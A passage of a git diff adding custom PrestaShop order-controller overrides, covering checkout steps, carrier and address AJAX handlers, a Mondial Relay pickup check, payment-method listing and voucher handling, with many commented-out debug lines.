        "; + $result = Db::getInstance()->execute($sql); + + } + die(true); + } + if (Tools::isSubmit('ajax') && Tools::getValue('method') == 'deleteEchantillons') + { + $this->context->cart->deleteEchantillons(true); + } + if (Tools::isSubmit('ajax') && Tools::getValue('method') == 'updateCarrierAndGetPayments') + { + if ((Tools::isSubmit('delivery_option') || Tools::isSubmit('id_carrier')) && Tools::isSubmit('recyclable') && Tools::isSubmit('gift') && Tools::isSubmit('gift_message')) + { + $this->context->cookie->checkedTOS=1; + $this->_assignWrappingAndTOS(); + if ($this->_processCarrier()) + { + $carriers = $this->context->cart->simulateCarriersOutput(); + $return = array_merge(array( + 'HOOK_TOP_PAYMENT' => Hook::exec('displayPaymentTop'), + 'HOOK_PAYMENT' => $this->_getPaymentMethods(), + 'carrier_data' => $this->_getCarrierList(), + 'HOOK_BEFORECARRIER' => Hook::exec('displayBeforeCarrier', array('carriers' => $carriers)) + ), + $this->getFormatedSummaryDetail() + ); + Cart::addExtraCarriers($return); + die(Tools::jsonEncode($return)); + } + else + $this->errors[] = Tools::displayError('An error occurred while updating the cart.'); + if (count($this->errors)) + die('{"hasError" : true, "errors" : ["'.implode('\',\'', $this->errors).'"]}'); + // exit; + } + } + if (Tools::isSubmit('ajax') && Tools::getValue('method') == 'updateExtraCarrier') + { + // Change virtualy the currents delivery options + $delivery_option = $this->context->cart->getDeliveryOption(); + $delivery_option[(int)Tools::getValue('id_address')] = Tools::getValue('id_delivery_option'); + $this->context->cart->setDeliveryOption($delivery_option); + $this->context->cart->save(); + $return = array( + 'content' => Hook::exec( + 'displayCarrierList', + array( + 'address' => new Address((int)Tools::getValue('id_address')) + ) + ), + 'summary' => $this->context->cart->getSummaryDetails() + ); + die(Tools::jsonEncode($return)); + } + if (Tools::isSubmit('ajax') && Tools::getValue('method') == 'updateAddressesSelected') + { + if ($this->context->customer->isLogged(true)) + { + $address_delivery = new Address((int)(Tools::getValue('id_address_delivery'))); + $this->context->smarty->assign('isVirtualCart', $this->context->cart->isVirtualCart()); + $address_invoice = ((int)(Tools::getValue('id_address_delivery')) == (int)(Tools::getValue('id_address_invoice')) ? $address_delivery : new Address((int)(Tools::getValue('id_address_invoice')))); + if ($address_delivery->id_customer != $this->context->customer->id || $address_invoice->id_customer != $this->context->customer->id) + $this->errors[] = Tools::displayError('This address is not yours.'); + elseif (!Address::isCountryActiveById((int)(Tools::getValue('id_address_delivery')))) + $this->errors[] = Tools::displayError('This address is not in a valid area.'); + elseif (!Validate::isLoadedObject($address_delivery) || !Validate::isLoadedObject($address_invoice) || $address_invoice->deleted || $address_delivery->deleted) + $this->errors[] = Tools::displayError('This address is invalid.'); + else + { + $this->context->cart->id_address_delivery = (int)(Tools::getValue('id_address_delivery')); + $this->context->cart->id_address_invoice = Tools::isSubmit('same') ? $this->context->cart->id_address_delivery : (int)(Tools::getValue('id_address_invoice')); + if (!$this->context->cart->update()) + $this->errors[] = Tools::displayError('An error occurred while updating your cart.'); + + $infos = Address::getCountryAndState((int)($this->context->cart->id_address_delivery)); + if (isset($infos['id_country']) && $infos['id_country']) + { + $country = new Country((int)$infos['id_country']); + $this->context->country = $country; + } + + // Address has changed, so we check if the cart rules still apply + CartRule::autoRemoveFromCart($this->context); + CartRule::autoAddToCart($this->context); + + if (!$this->context->cart->isMultiAddressDelivery()) + $this->context->cart->setNoMultishipping(); // As the cart is no multishipping, set each delivery address lines with the main delivery address + + if (!count($this->errors)) + { + $result = $this->_getCarrierList(); + // Wrapping fees + $wrapping_fees = $this->context->cart->getGiftWrappingPrice(false); + $wrapping_fees_tax_inc = $wrapping_fees = $this->context->cart->getGiftWrappingPrice(); + $result = array_merge($result, array( + 'HOOK_TOP_PAYMENT' => Hook::exec('displayPaymentTop'), + 'HOOK_PAYMENT' => $this->_getPaymentMethods(), + 'gift_price' => Tools::displayPrice(Tools::convertPrice(Product::getTaxCalculationMethod() == 1 ? $wrapping_fees : $wrapping_fees_tax_inc, new Currency((int)($this->context->cookie->id_currency)))), + 'carrier_data' => $this->_getCarrierList()), + $this->getFormatedSummaryDetail() + ); + die(Tools::jsonEncode($result)); + } + } + if (count($this->errors)) + die(Tools::jsonEncode(array( + 'hasError' => true, + 'errors' => $this->errors + ))); + } + die(Tools::displayError()); + } + + if ($this->nbProducts) + $this->context->smarty->assign('virtual_cart', $isVirtualCart); + + // 4 steps to the order + // echo (int)$this->step; + // die(); + switch ((int)$this->step) + { + case -1: + $this->context->smarty->assign('empty', 1); + $this->_assignEchantillons(); + $this->_assignCarrier(); + // $this->processCarrier(); + // echo $this->step; + // die(); + $this->setTemplate(_PS_THEME_DIR_.'shopping-cart.tpl'); + break; + + case 1: + // echo "test"; + // die(); + // $this->processCarrier(); + $this->_assignSummaryInformations(); + $this->_assignCarrier(); + $this->_assignAddress(); + $this->autoStep(); + $this->processAddressFormat(); + // $this->_assignPayment(); + // if (Tools::getValue('multi-shipping') == 1) + // { + // $this->_assignSummaryInformations(); + // $this->context->smarty->assign('product_list', $this->context->cart->getProducts()); + // $this->setTemplate(_PS_THEME_DIR_.'order-address-multishipping.tpl'); + // } + // else + // echo "test"; + // die(); + $this->setTemplate(_PS_THEME_DIR_.'order-address.tpl'); + break; + + case 2: + $this->processCarrier(); + // if (Tools::isSubmit('processAddress')) + // $this->processAddress(); + $this->_assignAddress(); + $this->autoStep(); + $this->_assignCarrier(); + // $this->setTemplate(_PS_THEME_DIR_.'order-carrier.tpl'); + // break; + + // antadis test Mondial Relay + $cart = Context::getContext()->cart; + /*if($cart->id_carrier == 61){ + $sql = 'SELECT COUNT(`id_mr_selected`) FROM `'._DB_PREFIX_.'mr_selected` WHERE id_cart ='. $cart->id; + $choice_mondial_relay = Db::getInstance()->getValue($sql); + // aucun point relay enregistre sur le panier redirect sur le choix du point avec message info + if($choice_mondial_relay == 0){ + Tools::redirect('index.php?controller=order&step=1&choice_mondial_relay=0'); + } + }*/ + $carrier = new Carrier((int) $cart->id_carrier); + if($carrier->is_module == 1){ + $module = Module::getInstanceByName($carrier->external_module_name); + if ($module->name == 'mondialrelay'){ + $sql = 'SELECT COUNT(`id_mr_selected`) FROM `'._DB_PREFIX_.'mr_selected` WHERE id_cart ='. $cart->id; + $choice_mondial_relay = Db::getInstance()->getValue($sql); + // aucun point relay enregistre sur le panier redirect sur le choix du point avec message info + if($choice_mondial_relay == 0){ + Tools::redirect('index.php?controller=order&step=1&choice_mondial_relay=0'); + } + } + } + + // case 3: + // Check that the conditions (so active) were accepted by the customer + // $cgv = Tools::getValue('cgv') || $this->context->cookie->check_cgv; + // $(this- + $cgv=1; + // if (Tools::isSubmit('processAddress')) + // $this->processAddress(); + // if (Configuration::get('PS_CONDITIONS') && (!Validate::isBool($cgv) || $cgv == false)) + // Tools::redirect('index.php?controller=order&step=2'); + Context::getContext()->cookie->check_cgv = true; + + // echo Tools::getValue('id_carrier'); + // die(); + // Check the delivery option is setted + if (!$this->context->cart->isVirtualCart()) + { + if (!Tools::getValue('delivery_option') && !Tools::getValue('id_carrier') && !$this->context->cart->delivery_option && !$this->context->cart->id_carrier) + Tools::redirect('index.php?controller=order&step=2'); + elseif (!Tools::getValue('id_carrier') && !$this->context->cart->id_carrier) + { + foreach (Tools::getValue('delivery_option') as $delivery_option) + if (empty($delivery_option)) + Tools::redirect('index.php?controller=order&step=2'); + } + } + + // $this->autoStep(); + + // Bypass payment step if total is 0 + if (($id_order = $this->_checkFreeOrder()) && $id_order) + { + if ($this->context->customer->is_guest) + { + $order = new Order((int)$id_order); + $email = $this->context->customer->email; + $this->context->customer->mylogout(); // If guest we clear the cookie for security reason + Tools::redirect('index.php?controller=guest-tracking&id_order='.urlencode($order->reference).'&email='.urlencode($email)); + } + else + Tools::redirect('index.php?controller=history'); + } + $this->_assignPayment(); + $this->_assignEchantillons(); + // assign some informations to display cart + $this->_assignSummaryInformations(); + + $carrier_module_call = null; + $carrier = new Carrier ((int)$this->context->cart->id_carrier); + if ($carrier->is_module) + { + $module = Module::getInstanceByName($carrier->external_module_name); + if ($module->name == 'mondialrelay'){ + if (method_exists($module, 'displayInfoByCart')) + $carrier_module_call = call_user_func(array($module, 'displayInfoByCart'), (int)$this->context->cart->id); + + $this->context->smarty->assign(array( + 'carrier_module_call' => $carrier_module_call + )); + } + } + + $this->setTemplate(_PS_THEME_DIR_.'order-payment.tpl'); + break; + + case 10: + $this->_assignEchantillons(); + $this->_assignSummaryInformations(); + $this->_assignCarrier(); + $this->setTemplate(_PS_THEME_DIR_.'shopping-cart.tpl'); + break; + default: + $this->_assignEchantillons(); + $this->_assignSummaryInformations(); + $this->_assignCarrier(); + $this->setTemplate(_PS_THEME_DIR_.'shopping-cart.tpl'); + break; + } + + $this->context->smarty->assign(array( + 'currencySign' => $this->context->currency->sign, + 'currencyRate' => $this->context->currency->conversion_rate, + 'currencyFormat' => $this->context->currency->format, + 'currencyBlank' => $this->context->currency->blank, + )); + parent::initContent(); + } + + protected function _getCarrierList() + { + $address_delivery = new Address($this->context->cart->id_address_delivery); + + $cms = new CMS(Configuration::get('PS_CONDITIONS_CMS_ID'), $this->context->language->id); + $link_conditions = $this->context->link->getCMSLink($cms, $cms->link_rewrite, true); + if (!strpos($link_conditions, '?')) + $link_conditions .= '?content_only=1'; + else + $link_conditions .= '&content_only=1'; + + $carriers = $this->context->cart->simulateCarriersOutput(); + $delivery_option = $this->context->cart->getDeliveryOption(null, false, false); + + $wrapping_fees = $this->context->cart->getGiftWrappingPrice(false); + $wrapping_fees_tax_inc = $wrapping_fees = $this->context->cart->getGiftWrappingPrice(); + $oldMessage = Message::getMessageByCartId((int)($this->context->cart->id)); + + $free_shipping = false; + foreach ($this->context->cart->getCartRules() as $rule) + { + if ($rule['free_shipping'] && !$rule['carrier_restriction']) + { + $free_shipping = true; + break; + } + } + + $vars = array( + 'free_shipping' => $free_shipping, + 'checkedTOS' => (int)($this->context->cookie->checkedTOS), + 'recyclablePackAllowed' => (int)(Configuration::get('PS_RECYCLABLE_PACK')), + 'giftAllowed' => (int)(Configuration::get('PS_GIFT_WRAPPING')), + 'cms_id' => (int)(Configuration::get('PS_CONDITIONS_CMS_ID')), + 'conditions' => (int)(Configuration::get('PS_CONDITIONS')), + 'link_conditions' => $link_conditions, + 'recyclable' => (int)($this->context->cart->recyclable), + 'gift_wrapping_price' => (float)$wrapping_fees, + 'total_wrapping_cost' => Tools::convertPrice($wrapping_fees_tax_inc, $this->context->currency), + 'total_wrapping_tax_exc_cost' => Tools::convertPrice($wrapping_fees, $this->context->currency), + 'delivery_option_list' => $this->context->cart->getDeliveryOptionList(), + 'carriers' => $carriers, + 'checked' => $this->context->cart->simulateCarrierSelectedOutput(), + 'delivery_option' => $delivery_option, + 'address_collection' => $this->context->cart->getAddressCollection(), + 'opc' => true, + 'oldMessage' => isset($oldMessage['message'])? $oldMessage['message'] : '', + 'HOOK_BEFORECARRIER' => Hook::exec('displayBeforeCarrier', array( + 'carriers' => $carriers, + 'delivery_option_list' => $this->context->cart->getDeliveryOptionList(), + 'delivery_option' => $delivery_option + )) + ); + + Cart::addExtraCarriers($vars); + + $this->context->smarty->assign($vars); + + if (!Address::isCountryActiveById((int)($this->context->cart->id_address_delivery)) && $this->context->cart->id_address_delivery != 0) + $this->errors[] = Tools::displayError('This address is not in a valid area.'); + elseif ((!Validate::isLoadedObject($address_delivery) || $address_delivery->deleted) && $this->context->cart->id_address_delivery != 0) + $this->errors[] = Tools::displayError('This address is invalid.'); + else + { + $result = array( + 'HOOK_BEFORECARRIER' => Hook::exec('displayBeforeCarrier', array( + 'carriers' => $carriers, + 'delivery_option_list' => $this->context->cart->getDeliveryOptionList(), + 'delivery_option' => $this->context->cart->getDeliveryOption(null, true) + )), + 'carrier_block' => $this->context->smarty->fetch(_PS_THEME_DIR_.'order-carrier.tpl') + ); + + Cart::addExtraCarriers($result); + return $result; + } + if (count($this->errors)) + return array( + 'hasError' => true, + 'errors' => $this->errors, + 'carrier_block' => $this->context->smarty->fetch(_PS_THEME_DIR_.'order-carrier.tpl') + ); + } + + protected function _getPaymentMethods() + { + if (!$this->isLogged) + return '

        '.Tools::displayError('Please sign in to see payment methods.').'

        '; + if ($this->context->cart->OrderExists()) + return '

        '.Tools::displayError('Error: This order has already been validated.').'

        '; + if (!$this->context->cart->id_customer || !Customer::customerIdExistsStatic($this->context->cart->id_customer) || Customer::isBanned($this->context->cart->id_customer)) + return '

        '.Tools::displayError('Error: No customer.').'

        '; + $address_delivery = new Address($this->context->cart->id_address_delivery); + $address_invoice = ($this->context->cart->id_address_delivery == $this->context->cart->id_address_invoice ? $address_delivery : new Address($this->context->cart->id_address_invoice)); + if (!$this->context->cart->id_address_delivery || !$this->context->cart->id_address_invoice || !Validate::isLoadedObject($address_delivery) || !Validate::isLoadedObject($address_invoice) || $address_invoice->deleted || $address_delivery->deleted) + return '

        '.Tools::displayError('Error: Please select an address.').'

        '; + if (count($this->context->cart->getDeliveryOptionList()) == 0 && !$this->context->cart->isVirtualCart()) + { + if ($this->context->cart->isMultiAddressDelivery()) + return '

        '.Tools::displayError('Error: None of your chosen carriers deliver to some of the addresses you\'ve selected.').'

        '; + else + return '

        '.Tools::displayError('Error: None of your chosen carriers deliver to the address you\'ve selected.').'

        '; + } + if (!$this->context->cart->getDeliveryOption(null, false) && !$this->context->cart->isVirtualCart()) + return '

        '.Tools::displayError('Error: Please choose a carrier.').'

        '; + if (!$this->context->cart->id_currency) + return '

        '.Tools::displayError('Error: No currency has been selected.').'

        '; + if (!$this->context->cookie->checkedTOS && Configuration::get('PS_CONDITIONS')) + return '

        '.Tools::displayError('Please accept the Terms of Service.').'

        '; + + /* If some products have disappear */ + if (!$this->context->cart->checkQuantities()) + return '

        '.Tools::displayError('An item in your cart is no longer available. You cannot proceed with your order.').'

        '; + + /* Check minimal amount */ + $currency = Currency::getCurrency((int)$this->context->cart->id_currency); + + $minimalPurchase = Tools::convertPrice((float)Configuration::get('PS_PURCHASE_MINIMUM'), $currency); + if ($this->context->cart->getOrderTotal(false, Cart::ONLY_PRODUCTS) < $minimalPurchase) + return '

        '.sprintf( + Tools::displayError('A minimum purchase total of %s is required in order to validate your order.'), + Tools::displayPrice($minimalPurchase, $currency) + ).'

        '; + + /* Bypass payment step if total is 0 */ + if ($this->context->cart->getOrderTotal() <= 0) + return '

        '; + + $return = Hook::exec('displayPayment'); + if (!$return) + return '

        '.Tools::displayError('No payment method is available for use at this time. ').'

        '; + return $return; + } + + protected function getFormatedSummaryDetail() + { + $result = array('summary' => $this->context->cart->getSummaryDetails(), + 'customizedDatas' => Product::getAllCustomizedDatas($this->context->cart->id, null, true)); + + foreach ($result['summary']['products'] as $key => &$product) + { + $product['quantity_without_customization'] = $product['quantity']; + if ($result['customizedDatas']) + { + if (isset($result['customizedDatas'][(int)$product['id_product']][(int)$product['id_product_attribute']])) + foreach ($result['customizedDatas'][(int)$product['id_product']][(int)$product['id_product_attribute']] as $addresses) + foreach ($addresses as $customization) + $product['quantity_without_customization'] -= (int)$customization['quantity']; + } + } + + if ($result['customizedDatas']) + Product::addCustomizationPrice($result['summary']['products'], $result['customizedDatas']); + return $result; + } + /** + * Order process controller + */ + public function autoStep() + { + global $isVirtualCart; + + if($this->step < 2 && $this->context->cart->isVirtualCart()) + Tools::redirect('index.php?controller=order&step=2'); + + // if ($this->step >= 2 && (!$this->context->cart->id_address_delivery || !$this->context->cart->id_address_invoice)) + // Tools::redirect('index.php?controller=order&step=1'); + + // if ($this->step > 2 && !$isVirtualCart && count($this->context->cart->getDeliveryOptionList()) == 0) + // Tools::redirect('index.php?controller=order&step=2'); + $delivery = new Address((int)$this->context->cart->id_address_delivery); + $invoice = new Address((int)$this->context->cart->id_address_invoice); + + if ($delivery->deleted || $invoice->deleted) + { +// echo $delivery->deleted; +// echo $invoice->deleted; + // die(); + if ($delivery->deleted) + unset($this->context->cart->id_address_delivery); + if ($invoice->deleted) + $this->context->cart->id_address_invoice=$delivery->id; + // Tools::redirect('index.php?controller=order&step=1'); + } + } + + /** + * Manage address + */ + public function processAddress() + { + if (!Tools::getValue('multi-shipping')) + $this->context->cart->setNoMultishipping(); + + $same = Tools::isSubmit('same'); + if(!Tools::getValue('id_address_invoice', false) && !$same) + $same = true; + + if (!Customer::customerHasAddress($this->context->customer->id, (int)Tools::getValue('id_address_delivery')) + || (!$same && Tools::getValue('id_address_delivery') != Tools::getValue('id_address_invoice') + && !Customer::customerHasAddress($this->context->customer->id, (int)Tools::getValue('id_address_invoice')))) + $this->errors[] = Tools::displayError('Invalid address', !Tools::getValue('ajax')); + else + { + $this->context->cart->id_address_delivery = (int)Tools::getValue('id_address_delivery'); + $this->context->cart->id_address_invoice = $same ? $this->context->cart->id_address_delivery : (int)Tools::getValue('id_address_invoice'); + + CartRule::autoRemoveFromCart($this->context); + CartRule::autoAddToCart($this->context); + + if (!$this->context->cart->update()) + $this->errors[] = Tools::displayError('An error occurred while updating your cart.', !Tools::getValue('ajax')); + + if (!$this->context->cart->isMultiAddressDelivery()) + $this->context->cart->setNoMultishipping(); // If there is only one delivery address, set each delivery address lines with the main delivery address + + if (Tools::isSubmit('message')) + $this->_updateMessage(Tools::getValue('message')); + + // Add checking for all addresses + $address_without_carriers = $this->context->cart->getDeliveryAddressesWithoutCarriers(); + if (count($address_without_carriers) && !$this->context->cart->isVirtualCart()) + { + if (count($address_without_carriers) > 1) + $this->errors[] = sprintf(Tools::displayError('There are no carriers that deliver to some addresses you selected.', !Tools::getValue('ajax'))); + elseif ($this->context->cart->isMultiAddressDelivery()) + $this->errors[] = sprintf(Tools::displayError('There are no carriers that deliver to one of the address you selected.', !Tools::getValue('ajax'))); + else + $this->errors[] = sprintf(Tools::displayError('There are no carriers that deliver to the address you selected.', !Tools::getValue('ajax'))); + } + } + + if ($this->errors) + { + if (Tools::getValue('ajax')) + die('{"hasError" : true, "errors" : ["'.implode('\',\'', $this->errors).'"]}'); + $this->step = 1; + } + + if ($this->ajax) + die(true); + } + + /** + * Carrier step + */ + protected function processCarrier() + { + global $orderTotal; + // parent::_processCarrier(); + + $this->context->cart->gift = (int)(Tools::getValue('gift')); + $this->context->cart->gift_message=""; + if ((int)(Tools::getValue('gift'))) + { + if (!Validate::isMessage($_POST['message'])) + $this->errors[] = Tools::displayError('Invalid gift message.'); + else + $this->context->cart->gift_message = strip_tags($_POST['message']); + } + // echo $this->context->cart->gift_message; + // die(); + + + $this->context->cart->recyclable = (int)(Tools::getValue('recyclable')); + // $this->context->cart->gift = (int)(Tools::getValue('gift')); + // if ((int)(Tools::getValue('gift'))) + // { + // if (!Validate::isMessage($_POST['gift_message'])) + // $this->errors[] = Tools::displayError('Invalid gift message.'); + // else + // $this->context->cart->gift_message = strip_tags($_POST['gift_message']); + // } + + if (isset($this->context->customer->id) && $this->context->customer->id) + { + if($this->context->cart->id_address_delivery){ + $address = new Address((int)($this->context->cart->id_address_delivery)); + if (!($id_zone = Address::getZoneById($address->id))) + $this->errors[] = Tools::displayError('No zone matches your address.'); + }else{ + $id_zone = Country::getIdZone((int)Configuration::get('PS_COUNTRY_DEFAULT')); + } + } + else + $id_zone = Country::getIdZone((int)Configuration::get('PS_COUNTRY_DEFAULT')); + + if (Tools::getIsset('delivery_option')) + { + if ($this->validateDeliveryOption(Tools::getValue('delivery_option'))) + $this->context->cart->setDeliveryOption(Tools::getValue('delivery_option')); + } + elseif (Tools::getIsset('id_carrier')) + { + // For retrocompatibility reason, try to transform carrier to an delivery option list + $delivery_option_list = $this->context->cart->getDeliveryOptionList(); + if (count($delivery_option_list) == 1) + { + $delivery_option = reset($delivery_option_list); + $key = Cart::desintifier(Tools::getValue('id_carrier')); + foreach ($delivery_option_list as $id_address => $options) + if (isset($options[$key])) + { + $this->context->cart->id_carrier = (int)Tools::getValue('id_carrier'); + $this->context->cart->setDeliveryOption(array($id_address => $key)); + if(isset($this->context->cookie->id_country)) + unset($this->context->cookie->id_country); + if(isset($this->context->cookie->id_state)) + unset($this->context->cookie->id_state); + + } + } + } + + Hook::exec('actionCarrierProcess', array('cart' => $this->context->cart)); + + if (!$this->context->cart->update()) + return false; + + // Carrier has changed, so we check if the cart rules still apply + CartRule::autoRemoveFromCart($this->context); + CartRule::autoAddToCart($this->context); + + // return true; + + if (count($this->errors)) + { + // print_r($this->errors); + $this->context->smarty->assign('errors', $this->errors); + // $this->_assignCarrier(); + // $this->step = 2; + // echo $this->step; + // die(); + // $this->displayContent(); + // include(dirname(__FILE__).'/../footer.php'); + // exit; + } + $orderTotal = $this->context->cart->getOrderTotal(); + } + + /** + * Address step + */ + protected function _assignAddress() + { + parent::_assignAddress(); + + if (Tools::getValue('multi-shipping')) + $this->context->cart->autosetProductAddress(); + + $this->context->smarty->assign('cart', $this->context->cart); + parent::_assignCarrier(); + // Assign wrapping and TOS + $this->_assignWrappingAndTOS(); + + } + + /** + * Carrier step + */ + protected function _assignCarrier() + { + // if (!isset($this->context->customer->id)) + // die(Tools::displayError('Fatal error: No customer')); + // Assign carrier + // parent::_assignCarrier(); + // Assign wrapping and TOS + $this->_assignWrappingAndTOS(); + + $this->context->smarty->assign( + array( + 'is_guest' => (isset($this->context->customer->is_guest) ? $this->context->customer->is_guest : 0) + )); + } + + /** + * Payment step + */ + protected function _assignPayment() + { + global $orderTotal; + parent::_assignPayment(); + + // var_dump('_assignPayment'); + + /*Redirect instead of displaying payment modules if any module are grefted on*/ + Hook::exec('displayBeforePayment', array('module' => 'order.php?step=3')); + + /* We may need to display an order summary */ + $this->context->smarty->assign($this->context->cart->getSummaryDetails()); + $this->context->smarty->assign(array( + 'total_price' => (float)($orderTotal), + 'taxes_enabled' => (int)(Configuration::get('PS_TAX')) + )); + $this->context->cart->checkedTOS = '1'; + + } +} + diff --git a/override/controllers/front/ParentOrderController.php b/override/controllers/front/ParentOrderController.php new file mode 100755 index 0000000..58b10b8 --- /dev/null +++ b/override/controllers/front/ParentOrderController.php @@ -0,0 +1,590 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Class FreeOrder to use PaymentModule (abstract class, cannot be instancied) + */ +class ParentOrderController extends ParentOrderControllerCore +{ + /** + * Initialize parent order controller + * @see FrontController::init() + */ + public function init() + { + $this->isLogged = (bool)($this->context->customer->id && Customer::customerIdExistsStatic((int)$this->context->cookie->id_customer)); + + if (!$this->context->customer->isLogged(true) && $this->context->getMobileDevice() && ( ( Tools::getValue('back') && !Tools::getValue('step')) || Tools::getValue('step') || Tools::isSubmit('submitPanier'))) + Tools::redirect($this->context->link->getPageLink('authentication', true, (int)$this->context->language->id).'?back=order.php?step=1'); + else + parent::init(); + + /* Disable some cache related bugs on the cart/order */ + header('Cache-Control: no-cache, must-revalidate'); + header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); + + $this->nbProducts = $this->context->cart->nbProducts(); + + global $isVirtualCart; + + if (!$this->context->customer->isLogged(true) && $this->context->getMobileDevice() && Tools::getValue('step')) + Tools::redirect($this->context->link->getPageLink('authentication', true, (int)$this->context->language->id, $params)); + + // Redirect to the good order process + if (Configuration::get('PS_ORDER_PROCESS_TYPE') == 0 && Dispatcher::getInstance()->getController() != 'order') + Tools::redirect('index.php?controller=order'); + + if (Configuration::get('PS_ORDER_PROCESS_TYPE') == 1 && Dispatcher::getInstance()->getController() != 'orderopc') + { + if (isset($_GET['step']) && $_GET['step'] == 3) + Tools::redirect('index.php?controller=order-opc&isPaymentStep=true'); + Tools::redirect('index.php?controller=order-opc'); + } + + if (Configuration::get('PS_CATALOG_MODE')) + $this->errors[] = Tools::displayError('This store has not accepted your new order.'); + + if (Tools::isSubmit('submitReorder') && $id_order = (int)Tools::getValue('id_order')) + { + $oldCart = new Cart(Order::getCartIdStatic($id_order, $this->context->customer->id)); + $duplication = $oldCart->duplicate(); + if (!$duplication || !Validate::isLoadedObject($duplication['cart'])) + $this->errors[] = Tools::displayError('Sorry. We cannot renew your order.'); + else if (!$duplication['success']) + $this->errors[] = Tools::displayError('Some items are no longer available, and we are unable to renew your order.'); + else + { + $this->context->cookie->id_cart = $duplication['cart']->id; + $this->context->cookie->write(); + if (Configuration::get('PS_ORDER_PROCESS_TYPE') == 1) + Tools::redirect('index.php?controller=order-opc'); + Tools::redirect('index.php?controller=order'); + } + } + + if ($this->nbProducts) + { + if (CartRule::isFeatureActive()) + { + if (Tools::isSubmit('submitAddDiscount')) + { + if (!($code = trim(Tools::getValue('discount_name')))) + $this->errors[] = Tools::displayError('You must enter a voucher code.'); + elseif (!Validate::isCleanHtml($code)) + $this->errors[] = Tools::displayError('The voucher code is invalid.'); + else + { + if (($cartRule = new CartRule(CartRule::getIdByCode($code))) && Validate::isLoadedObject($cartRule)) + { + if ($error = $cartRule->checkValidity($this->context, false, true)) + { + $this->errors[] = $error; + $this->errors = array_unique($this->errors); + } + else + { + $this->context->cart->addCartRule($cartRule->id); + $this->errors = array_unique($this->errors); + Tools::redirect('index.php?controller=order-opc'); + } + } + else + { + $this->errors[] = Tools::displayError('This voucher does not exists.'); + $this->errors = array_unique($this->errors); + } + } + $this->context->smarty->assign(array( + 'errors' => $this->errors, + 'discount_name' => Tools::safeOutput($code) + )); + } + elseif (($id_cart_rule = (int)Tools::getValue('deleteDiscount')) && Validate::isUnsignedId($id_cart_rule)) + { + $this->context->cart->removeCartRule($id_cart_rule); + $this->errors = array_unique($this->errors); + Tools::redirect('index.php?controller=order-opc'); + } + } + /* Is there only virtual product in cart */ + if ($isVirtualCart = $this->context->cart->isVirtualCart()) + $this->setNoCarrier(); + } + + + $this->context->smarty->assign('back', Tools::safeOutput(Tools::getValue('back'))); + } + + public function setMedia() + { + parent::setMedia(); + + if ($this->context->getMobileDevice() == false){ + // $this->addJS(_THEME_JS_DIR_.'order-address.js'); + // Adding CSS style sheet + $this->addCSS(_THEME_CSS_DIR_.'addresses.css'); + }else{ + $this->addJS(_THEME_JS_DIR_.'order-address-mobile.js'); + } + + // Adding JS files + $this->addJS(_THEME_JS_DIR_.'tools.js'); + if ((Configuration::get('PS_ORDER_PROCESS_TYPE') == 0 && Tools::getValue('step') == 1) || Configuration::get('PS_ORDER_PROCESS_TYPE') == 1) + $this->addJS(_THEME_JS_DIR_.'order-address.js'); + $this->addJqueryPlugin('fancybox'); + if ((int)(Configuration::get('PS_BLOCK_CART_AJAX')) || Configuration::get('PS_ORDER_PROCESS_TYPE') == 1) + { + $this->addJS(_THEME_JS_DIR_.'cart-summary.js'); + $this->addJqueryPlugin('typewatch'); + } + } + + /** + * Check if order is free + * @return boolean + */ + protected function _checkFreeOrder() + { + if ($this->context->cart->getOrderTotal() <= 0) + { + $order = new FreeOrder(); + $order->free_order_class = true; + $order->validateOrder($this->context->cart->id, Configuration::get('PS_OS_PAYMENT'), 0, Tools::displayError('Free order', false), null, array(), null, false, $this->context->cart->secure_key); + return (int)Order::getOrderByCartId($this->context->cart->id); + } + return false; + } + + protected function _updateMessage($messageContent) + { + if ($messageContent) + { + if (!Validate::isMessage($messageContent)) + $this->errors[] = Tools::displayError('Invalid message'); + else if ($oldMessage = Message::getMessageByCartId((int)($this->context->cart->id))) + { + $message = new Message((int)($oldMessage['id_message'])); + $message->message = $messageContent; + $message->update(); + } + else + { + $message = new Message(); + $message->message = $messageContent; + $message->id_cart = (int)($this->context->cart->id); + $message->id_customer = (int)($this->context->cart->id_customer); + $message->add(); + } + } + else + { + if ($oldMessage = Message::getMessageByCartId($this->context->cart->id)) + { + $message = new Message($oldMessage['id_message']); + $message->delete(); + } + } + return true; + } + + protected function _processCarrier() + { + $this->context->cart->recyclable = (int)(Tools::getValue('recyclable')); + $this->context->cart->gift = (int)(Tools::getValue('gift')); + $this->context->cart->gift_message=""; + if ((int)(Tools::getValue('gift'))) + { + if (!Validate::isMessage($_POST['gift_message'])) + $this->errors[] = Tools::displayError('Invalid gift message.'); + else + $this->context->cart->gift_message = strip_tags($_POST['gift_message']); + } + + if (isset($this->context->customer->id) && $this->context->customer->id) + { + $address = new Address((int)($this->context->cart->id_address_delivery)); + if (!($id_zone = Address::getZoneById($address->id))) + $this->errors[] = Tools::displayError('No zone matches your address.'); + } + else + $id_zone = Country::getIdZone((int)Configuration::get('PS_COUNTRY_DEFAULT')); + + if (Tools::getIsset('delivery_option')) + { + if ($this->validateDeliveryOption(Tools::getValue('delivery_option'))) + $this->context->cart->setDeliveryOption(Tools::getValue('delivery_option')); + } + elseif (Tools::getIsset('id_carrier')) + { + // For retrocompatibility reason, try to transform carrier to an delivery option list + $delivery_option_list = $this->context->cart->getDeliveryOptionList(); + if (count($delivery_option_list) == 1) + { + $delivery_option = reset($delivery_option_list); + $key = Cart::desintifier(Tools::getValue('id_carrier')); + foreach ($delivery_option_list as $id_address => $options) + if (isset($options[$key])) + { + $this->context->cart->id_carrier = (int)Tools::getValue('id_carrier'); + $this->context->cart->setDeliveryOption(array($id_address => $key)); + if(isset($this->context->cookie->id_country)) + unset($this->context->cookie->id_country); + if(isset($this->context->cookie->id_state)) + unset($this->context->cookie->id_state); + + } + } + } + + Hook::exec('actionCarrierProcess', array('cart' => $this->context->cart)); + + if (!$this->context->cart->update()) + return false; + + // Carrier has changed, so we check if the cart rules still apply + CartRule::autoRemoveFromCart($this->context); + CartRule::autoAddToCart($this->context); + + return true; + } + + /** + * Validate get/post param delivery option + * @param array $delivery_option + */ + protected function validateDeliveryOption($delivery_option) + { + if (!is_array($delivery_option)) + return false; + + foreach ($delivery_option as $option) + if (!preg_match('/(\d+,)?\d+/', $option)) + return false; + + return true; + } + + protected function _assignSummaryInformations() + { + $summary = $this->context->cart->getSummaryDetails(); + $customizedDatas = 